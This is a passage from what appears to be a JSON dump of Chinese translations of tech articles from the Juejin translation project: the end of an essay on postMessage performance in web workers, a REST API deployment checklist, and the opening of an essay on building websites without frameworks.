postMessage](https://dassur.ma/things/is-postmessage-slow/correlation.svg)\n\n传输时间与 `JSON.stringify()` 返回的字符串长度有很强的相关性。\n\n我认为这种相关性足够强，可以给出一个经验法则：**对象的 JSON 字符串化后的大小大致与它的传输时间成正比。** 然而，更需要注意的事实是，**这种相关性只与大对象相关**，我说的大是指超过 100 KiB 的任何对象。虽然这种相关性在数学上是成立的，但在较小的有效载荷下，这种差异更为明显（译者注：怀疑这句话作者应该是写错了，应该表述为差异不明显）。\n\n## 评估：发送一条信息\n\n我们有数据，但如果我们不把它上下文化，它就没有意义。如果我们想得出**有意义的**结论，我们需要定义“慢”。预算在这里是一个有用的工具，我将再次回到 [RAIL](https://developer.google.com/web/fundamentals/performance/rail) 指南来确定我们的预期。\n\n根据我的经验，一个 web worker 的核心职责至少是管理应用程序的状态对象。状态通常只在用户与你的应用程序交互时才会发生变化。根据 RAIL 的说法，我们有 100 ms 来响应用户交互，这意味着**即使在最慢的设备上，你也可以 `postMessage()` 高达 100 KiB 的对象，并保持在你的预期之内。**\n\n当运行 JS 驱动的动画时，这种情况会发生变化。动画的 RAIL 预算是 16 ms，因为每一帧的视觉效果都需要更新。如果我们从 worker 那里发送一条消息，该消息会阻塞主线程的时间超过这个时间，那么我们就有麻烦了。从我们的基准数据来看，任何超过 10 KiB 的动画都不会对你的动画预算构成风险。也就是说，**这就是我们更喜欢用 CSS animation 和 transition 而不是 JS 驱动主线程绘制动画的一个重要原因。** CSS animation 和 transition 运行在一个单独的线程 - 合成线程 - 不受阻塞的主线程的影响。\n\n## 必须发送更多的数据\n\n以我的经验，对于大多数采用非主线程架构的应用程序来说，`postMessage()` 并不是瓶颈。不过，我承认，在某些设置中，你的消息可能非常大，或者需要以很高的频率发送大量消息。如果普通 `postMessage()` 对你来说太慢的话，你还可以做什么?\n\n### 打补丁\n\n在状态对象的情况下，对象本身可能非常大，但通常只有少数几个嵌套很深的属性会发生变化。我们在 [PROXX](https://proxx.app) 中遇到了这个问题，我们的 PWA 版本扫雷：游戏状态由游戏网格的二维数组组成。每个单元格存储这些字段：是否有雷，以及是被发现的还是被标记的。\n\n```typescript\ninterface Cell {\n  hasMine: boolean;\n  flagged: boolean;\n  revealed: boolean;\n  touchingMines: number;\n  touchingFlags: number;\n}\n```\n\n这意味着最大的网格( 40 × 40 个单元格)加起来的 JSON 大小约等于 134 KiB。发送整个状态对象是不可能的。**我们选择记录更改并发送一个补丁集，而不是在更改时发送整个新的状态对象。** 虽然我们没有使用 [ImmerJS](https://github.com/immerjs/immer)，这是一个处理不可变对象的库，但它提供了一种快速生成和应用补丁集的方法：\n\n```js\n// worker.js\nimmer.produce(stateObject, draftState => {\n  // 在这里操作 `draftState`\n}, patches => {\n  postMessage(patches);\n});\n\n// main.js\nworker.addEventListener(\"message\", ({data}) => {\n  state = immer.applyPatches(state, data);\n  // 对新状态的反应\n}\n```\n\nImmerJS 生成的补丁如下所示：\n\n```json\n[\n  {\n    \"op\": \"remove\",\n    \"path\": [ \"socials\", \"gplus\" ]\n  },\n  {\n    \"op\": \"add\",\n    \"path\": [ \"socials\", \"twitter\" ],\n    \"value\": \"@DasSurma\"\n  },\n  {\n    \"op\": \"replace\",\n    \"path\": [ \"name\" ],\n    \"value\": \"Surma\"\n  }\n]\n```\n\n这意味着需要传输的数据量与更改的大小成比例，而不是与对象的大小成比例。\n\n### 分块\n\n正如我所说，对于状态对象，**通常**只有少数几个属性会改变。但并非总是如此。事实上，[PROXX](https://proxx.app) 有这样一个场景，补丁集可能会变得非常大：第一个展示可能会影响多达 80% 的游戏字段，这意味着补丁集有大约 70 KiB 的大小。当目标定位于功能手机时，这就太多了，特别是当我们可能运行 JS 驱动的 WebGL 动画时。\n\n我们问自己一个架构上的问题：我们的应用程序能支持部分更新吗？Patchsets 是补丁的集合。**你可以将补丁集“分块”到更小的分区中，并按顺序应用补丁，而不是一次性发送补丁集中的所有补丁。** 在第一个消息中发送补丁 1 - 10，在下一个消息中发送补丁 11 - 20，以此类推。如果你将这一点发挥到极致，那么你就可以有效地让你的补丁**流式化**，从而允许你使用你可能知道的设计模式以及喜爱的响应式编程。\n\n当然，如果你不注意，这可能会导致不完整甚至破碎的视觉效果。然而，你可以控制分块如何进行，并可以重新排列补丁以避免任何不希望的效果。例如，你可以确保第一个块包含所有影响屏幕元素的补丁，并将其余的补丁放在几个补丁集中，以给主线程留出喘息的空间。\n\n我们在 [PROXX](https://proxx.app) 上做分块。当用户点击一个字段时，worker 遍历整个网格，确定需要更新哪些字段，并将它们收集到一个列表中。如果列表增长超过某个阈值，我们就将目前拥有的内容发送到主线程，清空列表并继续迭代游戏字段。这些补丁集足够小，即使在功能手机上， `postMessage()` 的成本也可以忽略不计，我们仍然有足够的主线程预算时间来更新我们的游戏 UI。迭代算法从第一个瓦片向外工作，这意味着我们的补丁以相同的方式排列。如果主线程只能在帧预算中容纳一条消息（就像 Nokia 8110），那么部分更新就会伪装成一个显示动画。如果我们在一台功能强大的机器上，主线程将继续处理消息事件，直到超出预算为止，这是 JavaScript 的事件循环的自然结果。\n\n视频链接：https://dassur.ma/things/is-postmessage-slow/proxx-reveal.mp4\n\n经典手法：在 [PROXX] 中，补丁集的分块看起来像一个动画。这在支持 6x CPU 节流的台式机或低端手机上尤其明显。\n\n### 也许应该 JSON?\n\n`JSON.parse()` 和 `JSON.stringify()` 非常快。JSON 是 JavaScript 的一个小子集，所以解析器需要处理的案例更少。由于它们的频繁使用，它们也得到了极大的优化。[Mathias 最近指出](https://twitter.com/mathias/status/1143551692732030979)，有时可以通过将大对象封装到 `JSON.parse()` 中来缩短 JavaScript 的解析时间。**也许我们也可以使用 JSON 来加速 `postMessage()` ？遗憾的是，答案似乎是否定的：**\n\n![将发送对象的持续时间与序列化、发送和反序列化对象进行比较的图](https://dassur.ma/things/is-postmessage-slow/serialize.svg)\n\n将手工 JSON 序列化的性能与普通的 `postMessage()` 进行比较，没有得到明确的结果。\n\n虽然没有明显的赢家，但是普通的 `postMessage()` 在最好的情况下表现得更好，在最坏的情况下表现得同样糟糕。\n\n### 二进制格式\n\n处理结构化克隆对性能影响的另一种方法是完全不使用它。除了结构化克隆对象外，`postMessage()` 还可以**传输**某些类型。`ArrayBuffer` 是这些[可转换](https://developer.mozilla.org/en-US/docs/Web/API/Transferable)类型之一。顾名思义，传输 `ArrayBuffer` 不涉及复制。发送方实际上失去了对缓冲区的访问，现在是属于接收方的。**传输一个 `ArrayBuffer` 非常快，并且独立于 `ArrayBuffer`的大小。** 缺点是 `ArrayBuffer` 只是一个连续的内存块。我们就不能再处理对象和属性。为了让 `ArrayBuffer` 发挥作用，我们必须自己决定如何对数据进行编组。这本身是有代价的，但是通过了解构建时数据的形状或结构，我们可以潜在地进行许多优化，而这些优化是一般克隆算法无法实现的。\n\n一种允许你使用这些优化的格式是 [FlatBuffers](https://google.github.io/flatbuffers/)。Flatbuffers 有 JavaScript （和其他语言）对应的编译器，可以将模式描述转换为代码。该代码包含用于序列化和反序列化数据的函数。更有趣的是：Flatbuffers 不需要解析（或“解包”）整个 `ArrayBuffer` 来返回它包含的值。\n\n### WebAssembly\n\n那么使用每个人都喜欢的 WebAssembly 呢?一种方法是使用 WebAssembly 查看其他语言生态系统中的序列化库。[CBOR](https://cbor.io) 是一种受 json 启发的二进制对象格式，已经在许多语言中实现。[ProtoBuffers](https://developer.google.com/protocol-buffers/) 和前面提到的 [FlatBuffers](https://google.github.io/flatbuffers/) 也有广泛的语言支持。\n\n然而，我们可以在这里更厚颜无耻：我们可以依赖该语言的内存布局作为序列化格式。我用 [Rust](https://www.rust-lang.org) 编写了[一个小例子](https://dassur.ma/things/is-postmessage-slow/binary-state-rust)：它用一些 getter 和 setter 方法定义了一个 `State` 结构体(无论你的应用程序的状态如何，它都是符号)，这样我就可以通过 JavaScript 检查和操作状态。要“序列化”状态对象，只需复制结构所占用的内存块。为了反序列化，我分配一个新的 `State` 对象，并用传递给反序列化函数的数据覆盖它。由于我在这两种情况下使用相同的 WebAssembly 模块，内存布局将是相同的。\n\n> 这只是一个概念的证明。如果你的结构包含指针（如 `Vec` 和 `String`），那么你就很容易陷入未定义的行为错误中。同时还有一些不必要的复制。所以请对代码负责任!\n\n```rust\npub struct State {\n    counters: [u8; NUM_COUNTERS]\n}\n\n#[wasm_bindgen]\nimpl State {\n    // 构造器, getters and setter...\n\n    pub fn serialize(&self) -> Vec<u8> {\n        let size = size_of::<State>();\n        let mut r = Vec::with_capacity(size);\n        r.resize(size, 0);\n        unsafe {\n            std::ptr::copy_nonoverlapping(\n                self as *const State as *const u8,\n                r.as_mut_ptr(),\n                size\n            );\n        };\n        r\n    }\n}\n\n#[wasm_bindgen]\npub fn deserialize(vec: Vec<u8>) -> Option<State> {\n    let size = size_of::<State>();\n    if vec.len() != size {\n        return None;\n    }\n\n    let mut s = State::new();\n    unsafe {\n        std::ptr::copy_nonoverlapping(\n            vec.as_ptr(),\n            &mut s as *mut State as *mut u8,\n            size\n        );\n    }\n    Some(s)\n}\n```\n\n> **注意：** [Ingvar](https://twitter.com/rreverser) 向我指出了 [Abomonation](https://github.com/TimelyDataflow/abomonation)，是一个严重有问题的序列化库，虽然可以使用指针的概念。他的建议：“不要使用这个库！”。\n\nWebAssembly 模块最终 gzip 格式大小约为 3 KiB，其中大部分来自内存管理和一些核心库函数。当某些东西发生变化时，就会发送整个状态对象，但是由于 `ArrayBuffers` 的可移植性，其成本非常低。换句话说：**该技术应该具有几乎恒定的传输时间，而不管状态大小。** 然而，访问状态数据的成本会更高。总是要权衡的!\n\n这种技术还要求状态结构不使用指针之类的间接方法，因为当将这些值复制到新的 WebAssembly 模块实例时，这些值是无效。因此，你可能很难在高级语言中使用这种方法。我的建议是 C、 Rust 和 AssemblyScript，因为你可以完全控制内存并对内存布局有足够的了解。\n\n### SAB 和 WebAssembly\n\n> **提示：** 本节适用于 `SharedArrayBuffer`，它在除桌面端的 Chrome 外的所有浏览器中都已禁用。这正在进行中，但是不能给出 ETA。\n\n特别是从游戏开发人员那里，我听到了多个请求，要求 JavaScript 能够跨多个线程共享对象。我认为这不太可能添加到 JavaScript 本身，因为它打破了 JavaScript 引擎的一个基本假设。但是，有一个例外叫做 [`SharedArrayBuffer`](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/SharedArrayBuffer) (\"SABs\")。SABs 的行为完全类似于 `ArrayBuffers`，但是在传输时，不像 `ArrayBuffers` 那样会导致其中一方失去访问权， SAB 可以克隆它们，并且**双方**都可以访问到相同的底层内存块。**SABs 允许 JavaScript 空间采用共享内存模型。** 对于多个空间之间的同步，有 [`Atomics`](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Atomics) 提供互斥和原子操作。\n\n使用 SABs，你只需在应用程序启动时传输一块内存。然而，除了二进制表示问题之外，你还必须使用 `Atomics` 来防止其中一方在另一方还在写入的时候读取状态对象，反之亦然。这可能会对性能产生相当大的影响。\n\n除了使用 SABs 和手动序列化/反序列化数据之外，你还可以使用**线程化**的 WebAssembly。WebAssembly 已经标准化了对线程的支持，但是依赖于 SABs 的可用性。**使用线程化的 WebAssembly，你可以使用与使用线程编程语言相同的模式编写代码**。当然，这是以开发复杂性、编排以及可能需要交付的更大、更完整的模块为代价的。\n\n## 结论\n\n我的结论是：即使在最慢的设备上，你也可以使用 `postMessage()` 最大 100 KiB 的对象，并保持在 100 ms 响应预算之内。如果你有 JS 驱动的动画，有效载荷高达 10 KiB 是无风险的。对于大多数应用程序来说，这应该足够了。**`postMessage()` 确实有一定的代价，但还不到让非主线程架构变得不可行的程度。**\n\n如果你的有效负载大于此值，你可以尝试发送补丁或切换到二进制格式。**从一开始就将状态布局、可移植性和可补丁性作为架构决策，可以帮助你的应用程序在更广泛的设备上运行。** 如果你觉得共享内存模型是你最好的选择，WebAssembly 将在不久的将来为你铺平道路。\n\n我已经在[一篇旧的博文](https://dassur.ma/things/actormodel/)上暗示 Actor Model，我坚信我们可以在**如今**的 web 上实现高性能的非主线程架构，但这需要我们离开线程化语言的舒适区以及 web 中那种默认在所有主线程工作的模式。我们需要探索另一种架构和模型，**拥抱** Web 和 JavaScript 的约束。这些好处是值得的。\n\n> 如果发现译文存在错误或其他需要改进的地方，欢迎到 [掘金翻译计划](https://github.com/xitu/gold-miner) 对译文进行修改并 PR，也可获得相应奖励积分。文章开头的 **本文永久链接** 即为本文在 GitHub 上的 MarkDown 链接。\n\n---\n\n> [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区，文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[区块链](https://github.com/xitu/gold-miner#区块链)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计)、[人工智能](https://github.com/xitu/gold-miner#人工智能)等领域，想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)、[官方微博](http://weibo.com/juejinfanyi)、[知乎专栏](https://zhuanlan.zhihu.com/juejinfanyi)。\n"
  },
  {
    "path": "TODO1/is-your-rest-api-ready-for-deployment-7-questions-to-help-you-decide.md",
    "content": "> * 原文地址：[Is Your REST API Ready for Deployment? 7 Questions to Help You Decide](https://codeburst.io/is-your-rest-api-ready-for-deployment-7-questions-to-help-you-decide-a371de9faa76)\n> * 原文作者：[Zac Johnson](https://medium.com/@zacjohnson)\n> * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n> * 本文永久链接：[https://github.com/xitu/gold-miner/blob/master/TODO1/is-your-rest-api-ready-for-deployment-7-questions-to-help-you-decide.md](https://github.com/xitu/gold-miner/blob/master/TODO1/is-your-rest-api-ready-for-deployment-7-questions-to-help-you-decide.md)\n> * 译者：[Renzi Meng](https://github.com/mengrenzi)\n> * 校对者：[Roc](https://github.com/QinRoc)\n\n# 你的 REST API 准备好部署了吗？7 个问题帮助你做出决定\n\n[构建一个 API](https://codeburst.io/this-is-how-easy-it-is-to-create-a-rest-api-8a25122ab1f3) 似乎令人生畏，这是有充分理由的。很多地方[经常会](https://medium.com/better-programming/tips-on-rest-api-error-response-structure-aebe726e7f94)出错。与其在你的 REST API 已经部署好之后再从头开始，不如从一开始就谨慎构建一个优秀的 API。\n\n你怎么知道何时说「等等…… 暂时不要部署此 API」？\n\n以下问题可以帮助你确定答案。\n\n![](https://cdn-images-1.medium.com/max/2560/1*ol3WYuuPV0nhrE0tMNiiZg.jpeg) \n\n**你是否有效记录了 REST API？**\n\n坦率地说，如果你的 API 提供了糟糕的（或没有）文档，开发人员就不会想要使用它。设计你的文档来引导开发人员了解 API 的重要方面，使其易于使用。你的文档还应该使开发人员易于维护和更新 API。\n\n创建教程:\n\n* 可公开访问\n* 提供定义术语的词汇表\n* 指定和定义资源\n* 解释你的 API 方法\n\n如果你不知道从哪里开始，[Raml](https://raml.org/) 或 [Swagger](https://swagger.io/) 之类的工具都可以为你提供帮助。\n\n**你的 REST API 是否使用正确的数据格式？**\n\n设计 API 时，你可以选择数据格式，而你选择的格式可以决定成败。由于 API 是客户端和服务器之间的连接点，因此它的数据格式需要对双方都是用户友好的。\n\n流行的格式包括:\n\n* **直接格式 (如 JSON、XML、YAML)。** 这些格式用于管理直接与其他系统一起使用的数据。它们非常适合与其他 APIs 交互.\n* **Feed 格式（如 RSS、SUP、Atom）。** 这些格式主要用于序列化社交媒体和博客的更新。\n* **数据库格式（如 SQL、CSV）。** 它们非常适合数据库到数据库以及数据库到用户的通信。\n\n** 你是否有效地命名了 REST API 的路径？\n \n** 路径标识资源的位置，并指定如何访问这些资源。\n\n你应该遵循良好的 REST 实践来命名你的路径，包括:\n\n* **简单的资源名。** 不要让开发人员猜测资源名称，也不要迫使他们仔细检查文档以发现如何查找资源。确保名称从一开始就是直观的。\n* **在 URI 中使用名词。** RESTful URI 应该包括一个名词（比如 \"/photos\"），而不包括动词。例如，不要使用 \"/createPhotos\" 这样的名字。这里不要使用任何 CRUD（增、删、改、查）约定。\n* **保持资源名称为复数。** 为了一致性，建议使用 \"/photos\" 或 \"/settings\"（而不是 \"/photo\"）。\n* **使用连字符，而不是下划线。** 一些浏览器隐藏了下划线（_）。连字符（-）更容易被看到。\n* **小写字母。** URI 元素区分大小写（模式（`scheme`）和主机组件除外）。为了一致性，坚持使用小写字母。\n\n**你是否对 REST API 进行了正确的版本设置？**\n\n你的 API 将随时间而变化，因此你需要管理这些变化。保持你的旧 API 版本处于活动状态，并为仍在使用它们的用户维护它们。\n\n适当的版本控制有助于将发送到新更新的路径的无效请求数减到最少。\n\n版本控制的方法包括:\n\n* 在自定义请求头中添加版本号作为属性\n* 使用请求参数进行版本控制，即添加版本号作为查询参数\n* 在 URI 中包含当前版本号\n* 媒体类型版本控制，或更改 accept 标头以反映当前版本\n\n**你是否测试了 REST API？**\n\n传统上，测试是在用户界面侧进行的，侧重于网站用户体验等方面。\n\n但是由于 API 连接数据层和 UI，因此 API 测试现在被认为是一项至关重要的任务。通过[测试你的 REST API](https://www.sisense.com/blog/rest-api-testing-strategy-what-exactly-should-you-test/)，你可以确保其性能和功能。\n\nAPI 测试的类型包括：\n\n* **性能测试。** 顾名思义，这使你可以清楚地了解 API 的性能。性能测试包括功能测试和负载测试。\n* **单元测试。** 单元可以是路径，HTTP 方法（GET, POST, PUT, DELETE），请求头或请求主体。\n* **集成测试。** 这可能是最常用的 API 测试类型。你的 API 是集成数据、应用程序和用户设备的核心。因此，测试这种集成至关重要。\n* **端到端测试。** 这种类型的测试使你能够确认 API 连接之间数据流的顺畅性。\n\n**你是否为你的 REST API 建立了安全措施？**\n\n2020 年代，黑客变得越来越聪明和强大。你必须保持警惕。\n\n良好的安全实践包括：\n\n* **仅使用 HTTPS。** 仅使用 HTTPS 可保护凭据，例如密码，JSON Web 令牌，API 密钥等。此外，还应包括 HTTP 请求的时间戳。这使服务器只能在指定的时间范围内接受请求，以防止黑客尝试重放攻击。\n* **限制允许的 HTTP 方法。** 拒绝所有不在你的允许方法列表中的请求。\n* **不要让敏感信息显示在 URL 中。** 信不信由你，这有时会发生。确保任何 URL 中均未出现密码、用户名、API 密钥等。\n* **安全检查。** 要彻底，不要冒险。保护你的 HTTP cookie 和数据库。隐藏可能聚合到日志的所有敏感数据。采用有效的安全密码检查，并使用 CSRF 令牌。\n\n**你是否设计了具有可伸缩性的 REST API？**\n\n随着时间的推移，你需要使用 API 来处理越来越多的请求。把 API 设计成可伸缩的以保持其性能并根据需要添加新功能非常重要。\n\n甚至在设计之前就估计系统的负载。评估大致的每秒请求数和请求大小。然后，在 API 正常运行期间，请经常检查其负载分配，响应时间和其他重要指标。\n\n考虑使用能够自动扩展系统的云服务。这样，你就无需购买昂贵的设备来处理越来越多的数据。\n\n**准备好运行了吗？**\n\n花时间并注意细节将使你免于日后的挫折。在这个过程的每个环节，问自己：“如果我是使用此 API 的开发人员，我会对它感到满意吗？”\n\n如果有错误或粗糙之处，则有理由暂停部署以确保一切正常。\n\n> 如果发现译文存在错误或其他需要改进的地方，欢迎到 [掘金翻译计划](https://github.com/xitu/gold-miner) 对译文进行修改并 PR，也可获得相应奖励积分。文章开头的 **本文永久链接** 即为本文在 GitHub 上的 MarkDown 链接。\n\n---\n\n> [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区，文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[区块链](https://github.com/xitu/gold-miner#区块链)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计)、[人工智能](https://github.com/xitu/gold-miner#人工智能)等领域，想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)、[官方微博](http://weibo.com/juejinfanyi)、[知乎专栏](https://zhuanlan.zhihu.com/juejinfanyi)。\n"
  },
  {
    "path": "TODO1/its-2019-and-i-still-make-websites-with-my-bare-hands.md",
    "content": "> * 原文地址：[It’s 2019 and I Still Make Websites with my Bare Hands](https://medium.com/@mattholt/its-2019-and-i-still-make-websites-with-my-bare-hands-73d4eec6b7)\n> * 原文作者：[Matt Holt](https://medium.com/@mattholt)\n> * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n> * 本文永久链接：[https://github.com/xitu/gold-miner/blob/master/TODO1/its-2019-and-i-still-make-websites-with-my-bare-hands.md](https://github.com/xitu/gold-miner/blob/master/TODO1/its-2019-and-i-still-make-websites-with-my-bare-hands.md)\n> * 译者：[EmilyQiRabbit](https://github.com/EmilyQiRabbit)\n> * 校对者：[Fengziyin1234](https://github.com/Fengziyin1234)，[TUARAN](https://github.com/TUARAN)\n\n# 已经 2019 年了，我依然赤手空拳制作网站\n\n我完全不知道该怎样像现在那些酷小孩一样制作网站。\n\n我所知道的是，我们的前端团队为新网站花费了一天的时间来搭建基础框架，然后，第二天我运行 `git pull`，下载了这些东西（在合并钩子之后）：\n\n![](https://cdn-images-1.medium.com/max/1200/1*9YY47IfhbjQnKxW0AgKqWw.png)\n\n![](https://cdn-images-1.medium.com/max/1200/1*Ppd2YF0XThfea1HJV-Jt8Q.png)\n\n（我必须杀掉了计算文件体积的进程，因为它占用太多 CPU 资源了。）\n\n它显示出了 **Hello world**，但是他们告诉我，它**有能力**做更多的事情！我想他们是想说它甚至可以让我为 [toasts](https://material.angularjs.org/latest/demo/toast) 敬酒了。\n\n我认为，如果有一件事（一项技术），大多数的网站开发者，甚至并非从事计算机科学的人，在谈论到自己的网站的时候，都能或多或少说一点，那么这件事（技术） 一定是 frameworks 或者 hosted services（因为我不知道这些单词是什么，但它们也不在我的 CS 课程里），而且说实话，它们听起来都很**神奇**。我将他们描述的和我正在做的事情做了比较，我感觉我自己的知识真的非常匮乏。而他们在像 DevMountain 这样的代码学校，或者最新的在线课程里学习最热门的技术。\n\n![](https://cdn-images-1.medium.com/max/1200/1*jRlmvu9hgYO-uEIMmEyBag.png)\n\n无论如何，看来我已经是“老学派”了，尽管我从事网络开发只有差不多 10 年。\n\n**仅仅靠自己的双手搭建代码**\n\n19 年了。就像当初 `<FONT>` 标签[是正确的方法](https://www.amazon.com/Teach-Yourself-HTML-VISUALLY-Visually/dp/0764534238)。（我...11 岁的时候，教会我 HTML 的那本有趣的书的链接）\n\n然后就发生了下面的事，由于他们知道了我有多年网络开发的经验，有人就来请求我的帮助。随后我就知道了我对现在的情况已经一无所知，所以我就在谷歌搜索了 React 的双向数据绑定和 SCSS 的动态变量，还有其他那些我不知道的东西，但是他们却没有得到和我相同的理解，因为他们本该看到答案的时候就完全明白了，然而我本应该什么都不懂，只能询问“这个怎么样？”，但是其实他们找不到我给出的答案。\n\n因为我会对这些框架感到无能为力，迟早我就必须开始询问他们：“啊，请等等，这个是做什么的？”**指着那段我以为是函数调用的代码...额，哦不，这是一个类型定义，这就尴尬了**！他们的回答通常也是很不让人不满意（答案都比较浅薄），所以我就更努力的钻研更多知识，好帮他们调试应用：\n\n> “但是这部分是如何工作的呢？比如说，它实际上是在做什么？”我问道\n\n> 我通常得到的都是一段无言的凝视。他们几乎全都不知道。\n\n所以我就处于了这样的境地，已经 2019 年了，我已经写了近 20 年的代码，我周围的人的薪资都是我的 2-10 倍（但是我还是个学生）但是他们却不知道如何解释他们自己的代码是如何运作的。所以我认为，那其实并不是他们自己完成的代码。就像我并不知道我的车是如何工作的，但是我依旧可以每天都驾驶它。\n\n但是，在你不知道工作原理的情况下，你要如何构建应用程序呢？\n\n为什么一个需要展示几个列表，发送几个 AJAX 请求的网络应用需要超过 500M 的文件呢？（没错，我依然这样称呼它们。我也把它们称为 XHR，尽管 XML 已经很过时了。）\n\n为什么很多网站要破坏我的返回按钮或者滚动条？就像是，**你必须自己努力来**实现它们。\n\n为什么打包一个有 5 个路由的网站应用需要花费时间是我的 25000 行代码的 Go 程序**交叉-编译**时间的十倍？\n\n### Papa Parse 是怎么变的越来越重了\n\n在 2013 年，我在飞往迪士尼的航班上写了一个 CSV 解析器。我的浏览器需要一个快速准确的 CSV 解析器，但是已有的都不符合我的要求。所以我自己写了一个，这就是 [Papa Parse](https://www.papaparse.com/)，现在被很多知名的用户使用 —— 从联合国到各地的公司和组织，甚至是 Wikipedia —— 我很为它而骄傲（有点不谦虚的说，按理说它是服务于 JavaScript 的[最好 CSV 解析器](https://mwholt.blogspot.com/2014/11/papa-parse-4-fastest-csv-parser.html)）。最开始它就是个很简单的库，运行也非常好。\n\n然后有需求需要它兼容老版本的浏览器，所以我加上了 shims，嗯，也还好吧。\n\n然后有需求希望可以在 Node 上使用它。\n\n接下来，不止是需求，还有**问题反馈** —— 它在 `<insert JavaScript framework here>` 的时候无法正常运行。这就有点让人发狂了：添加对一个框架或者工具链的支持，就会让其他的失灵。Papa Parse 从只有几百行代码增加到几千行。**这已经是不同的数量级了**。从只有一个文件，到大概有十几个。从不需要构建，到大概 3 到 4 个系统构建以及分布式打包。\n\n所有都是为了浏览器中 `Papa.parse(\"csv,file\")` 的丰富功能。\n\n我最终放弃了它的维护，交给了社区中的其他人。他们非常好的完成了维护工作。它的功能远远超出了我所能支持的。在此之前，我在我自己的小世界里，完成很轻量、拥有它自己本来样子的库，自得其乐。但是现在，尽管 Papa Parse 依然是一个很棒的库，但是我已经不再知道它究竟是做什么的了。\n\n（顺便说一句，我依然很喜欢并且推荐 Papa Parse，万一你正好需要 JavaScript CSV 解析器。）\n\n### 按照老样子，我如何制作我的网站\n\n我不认为自己是一名网络设计师，甚至也不是网站开发者，但是当我需要的时候我还是会制作网站（并且我经常这样做 —— 次数非常多，所以我写了一个完整的网络服务，[Caddy](https://caddyserver.com)，来让这个的过程更加快速）。\n\n我不是开玩笑的，我仍然是这样制作网站的：\n\n打开一个编辑器，写下这些（手写，大概只需要 30 秒 —— 为了这篇文章的真实性，我甚至真的写了一遍 —— 除非烦人的标签在这里并不起作用）：\n\n```\n<!DOCTYPE html>\n<html>\n  <head>\n    <title>I code stuff with my bare hands</title>\n    <meta charset=\"utf-8\">\n  </head>\n  <body>\n     Hi there\n  </body>\n</html>\n```\n\n然后我打开了一个新的标签页，写了 CSS 文件；也就是像这样的代码：\n\n```\n* { margin: 0; padding: 0; box-sizing: border-box; }\n\nbody {\n  font-size: 18px;\n  color: #333;\n}\n\np {\n  line-height: 1.4em;\n}\n```\n\nJavaScript 怎么办呢？我当然也用了。但是，仅用了我懂的那部分。我有很多需要学习，尤其是现在还出现了 ES6，以及很多新的 API 比如 fetch，但是我仍旧会在一些场景（[强调下**一些**](http://youmightnotneedjquery.com/)）中使用 jQuery —— 它能完成特定的任务，比如能够非常简单直接的操作多个 DOM 元素，而且它几乎是模版代码，我可以积累下来，还可以从一个项目复制粘贴到另一个项目。并不存在依赖地狱。\n\n无论如何，我仅在这里加入了需要的 JS 代码。我偶尔也会加入一些仅基于原生 JS 的库，例如用 Papa Parse 来满足[**高级、高性能 CSV 解析需求**](https://www.youtube.com/watch?v=EX69fn2Wi9A)。（UtahJS 视频的链接，我在这段视频中介绍了将浏览器性能发挥到极限的惊人方法。）\n\n大多数的时候，传统的表单请求或者页面导航没什么缺点。我确实经常将表单请求改成 AJAX 请求，但是却没什么需要修改 URL（它们中**任何一个**都不需要）。\n\n然后我开始保存文件，在我们项目文件夹中运行 `caddy`，然后打开浏览器。我每次修改都需要刷新页面。十多年以后，我终于安装了第二个屏幕，所以我不需要切换桌面了。\n\nJavaScript 并不是我吝啬使用的唯一技术：CSS，SVG，Markdown 还有静态站点生成器也是如此。我几乎从不使用 CSS 库。我只是在 CSS 3 和一些新特性比如 flexbox 和 grid 没有被支持的时候坚持用几个 hack 技术。但是所有的也就现在我说的这些了。就浏览器支持而言，SVG 依旧还处于发展中，而 Markdown 嘛...嗯...多数情况下我还是宁愿写 HTML/CSS，因为至少这样子在所有浏览器上表现都是相同的。\n\n我很喜欢静态站点生成器的思想，但是通常它们都过于复杂。多数情况下，我所需要的就只是将代码片嵌入到我的 HTML 文件中，Caddy 只需要简单的几个模版操作就可以完成：`{{.Include \"/includes/header.html\"}}`。（我甚至可以用 [**git push**](https://caddyserver.com/docs/http.git) 来部署使用了 Caddy 的网站，不需要静态站点生成器！尽管它也支持这些功能）\n\n### 优势\n\n不使用那些花哨的，用途普适的，或者功能过多的库、框架和工具能够：\n\n*   网站代码量少\n*   更容易管理测试环境\n*   调试速度快，解决问题的方法更普适\n*   服务配置更简单（**我了解这方面**，相信我）\n*   网站加载更快\n\n它还能够为你省下好几个 GB 的硬盘空间！\n\n### 代价\n\n既然我不了解 React，Angular，Polymer，Vue，Ember，Meteor，Electron，Bootstrap，Docker，Kubernetes，Node，Redux，Meteor，Babel，Bower，Bower，Firebase，Laravel，Grunt 等等，我就没办法真正的帮助我的朋友们，或者在我的答案中惊艳他们，或者达到现在很多网站开发工作的要求。\n\n尽管如此，但是从技术上讲，我并**不能**做很多事 —— 这是关键！仅有真正需要工具的时候，我才引入它们，否则我就选择自己写代码或者从 Stack Overflow 复制粘贴过来一些小功能（我很诚实）。（提示：和 YouTube 或者 HN 不同，**请阅读 Stack Overflow 上的评论。**）（需要绝对的了解你借用的代码是什么！）\n\n我开发的效率降低了吗？\n\n也许吧。但是，其实我并不这么认为。\n\n### 结果\n\n这里有几个网站，都是我这样赤手空拳的搭建起来的 —— 相信我，如果我有资源能够雇佣专业的前端开发者，我更愿意雇佣他们的 —— 